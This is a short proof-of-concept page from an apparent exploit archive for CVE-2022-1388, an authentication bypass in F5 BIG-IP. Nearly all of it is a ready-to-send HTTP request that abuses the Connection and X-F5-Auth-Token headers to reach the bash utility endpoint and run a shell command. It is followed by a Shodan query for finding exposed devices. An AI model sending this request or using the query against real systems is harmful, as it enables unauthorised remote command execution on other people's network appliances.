CVE-2022-1388 PoC — F5 BIG-IP 访问控制错误漏洞

Source

Associated Vulnerability

Description

PoC for CVE-2022-1388_F5_BIG-IP

Readme

**CVE-2022-1388** **EXPLOIT** **POC** **[F5 BIG IP]**

```
POST /mgmt/tm/util/bash HTTP/1.1
Host: REDACTED:8083
Content-Length: 45
Connection: Keep-Alive,X-F5-Auth-Token
Cache-Control: max-age=0
X-F5-Auth-Token: SherlockSecure
Content-Type: application/json
Authorization: Basic YWRtaW46aG9yaXpvbjM=

{
"command":"run",
"utilCmdArgs":"-c id"
}
```

![Poc](https://i.imgur.com/c83ch8h.png)


**SHODAN QUERY**
 ```http.title:"BIG-IP®-+Redirect" +"Server"```

File Snapshot

 [4.0K]  /data/pocs/52ce8d6bb32f168e74d456c2c81f5843d5d48246
├── [ 285]  poc.txt
└── [ 460]  README.md

0 directories, 2 files

Remarks